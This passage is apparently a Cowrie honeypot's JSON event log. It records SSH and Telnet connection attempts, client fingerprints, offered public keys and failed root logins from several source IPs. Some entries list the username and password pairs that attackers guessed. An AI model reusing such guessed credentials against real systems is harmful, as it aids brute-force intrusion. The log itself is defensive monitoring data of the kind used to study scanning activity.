a1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.194437Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:36:63:84:5f:75:6b:2b:91:2a:49:ff:99:22:72:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBIX4zUZ77CbH/HOSsTyqvb3wTo+bqDcbWJzuNnFZK1O2B70L6r4PCzEVIcUVF9spji7d/GBmSfocdpCfzAq/qYvgp3RZVPDuq/le7vYJpYJhlINxyvSwTuYVcHS+/hn+yGXtb2TBVg5ATfCsPHc/BtN5Pd87ol97iUyexoZAtnNdU2Y/+SW6WE5bh8QD7suNCfGoqzgr81uWeCGv9SkkaRHsk7oNOan7QCeCsmtnHewJr1k/DD9eWuXZwm7p6/7RfhnSQQ3hmdIS8cjqrC1ZN3RXJultbG0UPcwi795LouiD0vZDmjTUYD9ahMIfbbca6Sn3wCgERrDYxjOrtJoxor/G1coVURW5jAKX3rhNConPMeQNJF4wIqmtIhiNoFI7DGie2wXT6MFtPdMQEuoEa0BDbOz4M/mykSp5tqu3Ktr7RY93Mz3aUFcI+Qh3Qbmy1qV3vgxCqGoF0wvye+4MRRqnG4PXBpdFQD25RcpkEHw7LKAXXOfOrnQnMc2Djxk67Ce7kzu6V+f+wJre/8yASSjJshwNBRm86awhPCF4m43xW6J6gMc1H5il/e2CnLBtUtijd4flkOxU0NY+Ge8vuODReutynM/fWBvYe0Tm2K1Fffh7AFTmPndHc+HpDg9SjUrGiEvNSnPz2JHvQJjR6BvQRDgCVzaUci12Wsz4PcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:36:63:84:5f:75:6b:2b:91:2a:49:ff:99:22:72:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.206418Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:36:63:84:5f:75:6b:2b:91:2a:49:ff:99:22:72:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBIX4zUZ77CbH/HOSsTyqvb3wTo+bqDcbWJzuNnFZK1O2B70L6r4PCzEVIcUVF9spji7d/GBmSfocdpCfzAq/qYvgp3RZVPDuq/le7vYJpYJhlINxyvSwTuYVcHS+/hn+yGXtb2TBVg5ATfCsPHc/BtN5Pd87ol97iUyexoZAtnNdU2Y/+SW6WE5bh8QD7suNCfGoqzgr81uWeCGv9SkkaRHsk7oNOan7QCeCsmtnHewJr1k/DD9eWuXZwm7p6/7RfhnSQQ3hmdIS8cjqrC1ZN3RXJultbG0UPcwi795LouiD0vZDmjTUYD9ahMIfbbca6Sn3wCgERrDYxjOrtJoxor/G1coVURW5jAKX3rhNConPMeQNJF4wIqmtIhiNoFI7DGie2wXT6MFtPdMQEuoEa0BDbOz4M/mykSp5tqu3Ktr7RY93Mz3aUFcI+Qh3Qbmy1qV3vgxCqGoF0wvye+4MRRqnG4PXBpdFQD25RcpkEHw7LKAXXOfOrnQnMc2Djxk67Ce7kzu6V+f+wJre/8yASSjJshwNBRm86awhPCF4m43xW6J6gMc1H5il/e2CnLBtUtijd4flkOxU0NY+Ge8vuODReutynM/fWBvYe0Tm2K1Fffh7AFTmPndHc+HpDg9SjUrGiEvNSnPz2JHvQJjR6BvQRDgCVzaUci12Wsz4PcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.209132Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:17:91:c5:2e:a4:b9:97:5a:ea:be:f5:97:d0:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD1BuHbT2Gh50Cp2P/qKi4sMvia58uQ/YaKmzcOu01Lqz+BbpR2gEiuonAilQEHSyQvwNt4MfQZ5UePtLx7DM3QpsZ/++aGReRcrIK0neZynyuEeglBJg9h/w+vYoz+5OFAC6aa2A3L06AhdQlOe/9buIqjOX60aYPltCe1qix8ZQjg8q92kXT3D6Xojgv8MXwMXLahkP0PfPAci7Egeq7VJt1NBjwq1Oag/EU8T0LtC8szvsVA/2ES0V7SR5iBjD+NQfH1m+a+qa4Gbrg8II7oXVtAmKcY7ZDAhnLM1fnoUOZ8ckPaRInuzcny9RgNtgoGxANJG6hR7f5WTnA/Okh8TXCOCKnTAOLUmL83ipF6cSySpG77do7BTpXU3KSYhTgsZQPmU6jkDocPWKqvzENN4Iek+mfy0Nz6Up6+doyDeDkDxwRABIoibqiCGqrlU4aG42l9CerNKidyucoPX0Nwha5btVS6GnzW2LW3/BBva15bMyvh7R8NDt4KcguYsRc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:17:91:c5:2e:a4:b9:97:5a:ea:be:f5:97:d0:ee:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.214513Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:17:91:c5:2e:a4:b9:97:5a:ea:be:f5:97:d0:ee:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD1BuHbT2Gh50Cp2P/qKi4sMvia58uQ/YaKmzcOu01Lqz+BbpR2gEiuonAilQEHSyQvwNt4MfQZ5UePtLx7DM3QpsZ/++aGReRcrIK0neZynyuEeglBJg9h/w+vYoz+5OFAC6aa2A3L06AhdQlOe/9buIqjOX60aYPltCe1qix8ZQjg8q92kXT3D6Xojgv8MXwMXLahkP0PfPAci7Egeq7VJt1NBjwq1Oag/EU8T0LtC8szvsVA/2ES0V7SR5iBjD+NQfH1m+a+qa4Gbrg8II7oXVtAmKcY7ZDAhnLM1fnoUOZ8ckPaRInuzcny9RgNtgoGxANJG6hR7f5WTnA/Okh8TXCOCKnTAOLUmL83ipF6cSySpG77do7BTpXU3KSYhTgsZQPmU6jkDocPWKqvzENN4Iek+mfy0Nz6Up6+doyDeDkDxwRABIoibqiCGqrlU4aG42l9CerNKidyucoPX0Nwha5btVS6GnzW2LW3/BBva15bMyvh7R8NDt4KcguYsRc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.217411Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:1e:e2:93:3b:56:f9:64:48:03:84:e9:77:56:bd:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlnu30e2bLAiT/6uAWCM47R+uaWhYkuwyjazYO/xxn/VTrkzviMOKExyXIV50AcEsMSIQ+K+rRxRQZFrCLu35vy8mQy5eSN4oVm1Sn5yPPbc2N9uTcnLxRcfnRkD7pb19CJXdUsP6ZMSMrj/uWnQQG2xxA+WR36g90kCKOo84xN7YAgW77zAwgfu+5uw14VlRBXHUMG5x/7vbx0NVGKcc97/655HXIyfmmNegq475pjWdmIfU2t4Q/QuOO95/JXSYpxSJFtMnyrjGORgqkOePRJ3JCQkOkfuKFuShQg6xB/+KvykkZxFi6RaoUOlgREBhJVYWV998fY6VuWhkXNy6vQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:1e:e2:93:3b:56:f9:64:48:03:84:e9:77:56:bd:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.223229Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:1e:e2:93:3b:56:f9:64:48:03:84:e9:77:56:bd:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlnu30e2bLAiT/6uAWCM47R+uaWhYkuwyjazYO/xxn/VTrkzviMOKExyXIV50AcEsMSIQ+K+rRxRQZFrCLu35vy8mQy5eSN4oVm1Sn5yPPbc2N9uTcnLxRcfnRkD7pb19CJXdUsP6ZMSMrj/uWnQQG2xxA+WR36g90kCKOo84xN7YAgW77zAwgfu+5uw14VlRBXHUMG5x/7vbx0NVGKcc97/655HXIyfmmNegq475pjWdmIfU2t4Q/QuOO95/JXSYpxSJFtMnyrjGORgqkOePRJ3JCQkOkfuKFuShQg6xB/+KvykkZxFi6RaoUOlgREBhJVYWV998fY6VuWhkXNy6vQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.226731Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:62:57:94:6a:e2:1a:62:fc:0c:76:65:b7:a5:a9:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwxkKL1CJeIjDd7ttNLvKT5TrkUNnnvf6/1Fw+NNA6vPJ1+3mp2JvwZcLYZqrG61kFiUBBtAVYO9V1uL1IdtIbFq+8cCi142pg50Rpz+Le8w83C7+vVxiCYj3KDnoKzEvOt6SAeqpWGJ/4RaKbujUYEQj1XYvrmKpzpRgEaamLYBn9s8L/ZN1CaksRdIvpMykgzvQK1ooM0AWp+9aCR4xGCIUbef3rkJA7hFcw3uqC3InyJQ9IlTaAiE6QRBkBzJ/L1H8GY6qZtfH14RAK6Z0LErX7LQBMzS4TKVQI8ccQgq/aovWlFbfKljCOl24JOYMvPBuectjGFftLY2wmOZpxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:62:57:94:6a:e2:1a:62:fc:0c:76:65:b7:a5:a9:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.232602Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:62:57:94:6a:e2:1a:62:fc:0c:76:65:b7:a5:a9:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwxkKL1CJeIjDd7ttNLvKT5TrkUNnnvf6/1Fw+NNA6vPJ1+3mp2JvwZcLYZqrG61kFiUBBtAVYO9V1uL1IdtIbFq+8cCi142pg50Rpz+Le8w83C7+vVxiCYj3KDnoKzEvOt6SAeqpWGJ/4RaKbujUYEQj1XYvrmKpzpRgEaamLYBn9s8L/ZN1CaksRdIvpMykgzvQK1ooM0AWp+9aCR4xGCIUbef3rkJA7hFcw3uqC3InyJQ9IlTaAiE6QRBkBzJ/L1H8GY6qZtfH14RAK6Z0LErX7LQBMzS4TKVQI8ccQgq/aovWlFbfKljCOl24JOYMvPBuectjGFftLY2wmOZpxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.235170Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:eb:d3:6a:21:c4:1e:02:be:4d:b8:0c:57:f0:a9:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6raalcpLDpa7rBAYtlIqH9/JeM8B2WR1Ye/k3usKdU7l2kCWM15FhnrBlbF59BVDSC/PJekkmbEmN9OHWYA2X1ERJym+LOpnoFWKvwEgWRIvwWNje/Lh+lTnqv6lhQWJ5jV1DI3uJUg5wTyCfa4yeTKoYPduay+apIh1uiVYarJ/LenUqj8WaL9BcLWKbgm3zHP8ZACOYP0I1ktLYkkPLO2BMbEILJdw7sBg56Hn2dC2W+NMKO73kAGdWZ3HJmhsS7cBCmLAQc81xMyK4GxQAKLdMYtKaY9UO8U5k6rG+CDMJdaqNVJ6YlfZdCyZsDtOM7dop/TI2TwZ2cdv2tNVd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:eb:d3:6a:21:c4:1e:02:be:4d:b8:0c:57:f0:a9:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.240796Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:eb:d3:6a:21:c4:1e:02:be:4d:b8:0c:57:f0:a9:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6raalcpLDpa7rBAYtlIqH9/JeM8B2WR1Ye/k3usKdU7l2kCWM15FhnrBlbF59BVDSC/PJekkmbEmN9OHWYA2X1ERJym+LOpnoFWKvwEgWRIvwWNje/Lh+lTnqv6lhQWJ5jV1DI3uJUg5wTyCfa4yeTKoYPduay+apIh1uiVYarJ/LenUqj8WaL9BcLWKbgm3zHP8ZACOYP0I1ktLYkkPLO2BMbEILJdw7sBg56Hn2dC2W+NMKO73kAGdWZ3HJmhsS7cBCmLAQc81xMyK4GxQAKLdMYtKaY9UO8U5k6rG+CDMJdaqNVJ6YlfZdCyZsDtOM7dop/TI2TwZ2cdv2tNVd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.243539Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.249689Z","src_ip":"104.236.66.186","session":"1c74dea19fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:20.498913Z","src_ip":"103.27.238.120","session":"3bc28f6f2d97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":51578,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9f0e26340d4","protocol":"ssh","message":"New connection: 154.18.197.35:51578 (159.203.135.109:22) [session: d9f0e26340d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:29.934533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:29.938693Z","src_ip":"154.18.197.35","session":"d9f0e26340d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:30.150309Z","src_ip":"154.18.197.35","session":"d9f0e26340d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdc123","message":"login attempt [root/azsxdc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:31.033111Z","src_ip":"154.18.197.35","session":"d9f0e26340d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47144,"dst_ip":"159.203.135.109","dst_port":23,"session":"b967d70785de","protocol":"telnet","message":"New connection: 170.64.224.25:47144 (159.203.135.109:23) [session: b967d70785de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:32.066599Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:32.248888Z","src_ip":"154.18.197.35","session":"d9f0e26340d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":60842,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c74aa6111b5","protocol":"ssh","message":"New connection: 34.123.134.194:60842 (159.203.135.109:22) [session: 2c74aa6111b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:45.162835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:45.167245Z","src_ip":"34.123.134.194","session":"2c74aa6111b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:45.208107Z","src_ip":"34.123.134.194","session":"2c74aa6111b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newspaper","password":"newspaper123","message":"login attempt [newspaper/newspaper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:45.460308Z","src_ip":"34.123.134.194","session":"2c74aa6111b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:46.599864Z","src_ip":"34.123.134.194","session":"2c74aa6111b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.61.95","src_port":46388,"dst_ip":"159.203.135.109","dst_port":22,"session":"4034eb8c879e","protocol":"ssh","message":"New connection: 162.144.61.95:46388 (159.203.135.109:22) [session: 4034eb8c879e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:49.242092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:49.245637Z","src_ip":"162.144.61.95","session":"4034eb8c879e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:49.327711Z","src_ip":"162.144.61.95","session":"4034eb8c879e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hbar","password":"hbar999","message":"login attempt [hbar/hbar999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:49.574545Z","src_ip":"162.144.61.95","session":"4034eb8c879e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:50.659504Z","src_ip":"162.144.61.95","session":"4034eb8c879e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.249.8","src_port":40514,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c22de386c86","protocol":"ssh","message":"New connection: 162.144.249.8:40514 (159.203.135.109:22) [session: 7c22de386c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:51.420765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:51.425301Z","src_ip":"162.144.249.8","session":"7c22de386c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:51:51.454814Z","src_ip":"162.144.249.8","session":"7c22de386c86","protocol":"ssh"}
